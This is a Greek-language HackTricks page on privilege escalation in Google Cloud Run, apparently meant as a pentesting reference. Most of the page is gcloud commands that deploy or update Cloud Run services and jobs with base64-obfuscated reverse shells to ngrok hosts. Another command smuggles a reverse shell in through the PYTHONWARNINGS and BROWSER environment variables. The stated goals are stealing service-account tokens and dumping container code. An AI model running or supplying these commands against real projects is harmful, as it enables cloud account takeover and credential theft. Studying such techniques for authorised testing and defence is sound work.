GCP - Run Privesc

Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Cloud Run

Για περισσότερες πληροφορίες σχετικά με το Cloud Run ελέγξτε:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει ένα υπηρεσία run που εκτελεί αυθαίρετο κώδικα (αυθαίρετο Docker container), να συνδέσει ένα Λογαριασμό Υπηρεσίας σε αυτό και να κάνει τον κώδικα να εξαγάγει το διακριτικό του Λογαριασμού Υπηρεσίας από τα μεταδεδομένα.

Ένα σενάριο εκμετάλλευσης για αυτήν τη μέθοδο μπορεί να βρεθεί εδώ και η εικόνα Docker μπορεί να βρεθεί εδώ.

Σημειώστε ότι όταν χρησιμοποιείτε το gcloud run deploy αντί να δημιουργήσετε απλώς την υπηρεσία χρειάζεται την άδεια update. Ελέγξτε ένα παράδειγμα εδώ.

run.services.update , iam.serviceAccounts.actAs

Όπως το προηγούμενο αλλά ενημερώνοντας μια υπηρεσία:

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Δώστε στον εαυτό σας προηγούμενες άδειες πάνω στο cloud Run.

run.jobs.create, run.jobs.run, (run.jobs.get)

Ξεκινήστε ένα job με ένα αντίστροφο κέλυφος για να κλέψετε το λογαριασμό υπηρεσίας που υποδεικνύεται στην εντολή. Μπορείτε να βρείτε ένα εκμετάλλευση εδώ.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Παρόμοια με το προηγούμενο, είναι δυνατόν να ενημερώσετε ένα job και να ενημερώσετε το SA, τη εντολή και να την εκτελέσετε:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Κακοποιήστε τις μεταβλητές περιβάλλοντος μιας εκτέλεσης εργασίας για να εκτελέσετε αυθαίρετο κώδικα και να λάβετε ένα αντίστροφο κέλυφος για να ρίξετε τα περιεχόμενα του container (πηγαίος κώδικας) και να έχετε πρόσβαση στο SA μέσα στα μεταδεδομένα:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

çrun.jobs.setIamPolicy

Δώστε στον εαυτό σας τα προηγούμενα δικαιώματα πάνω στα Cloud Jobs.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated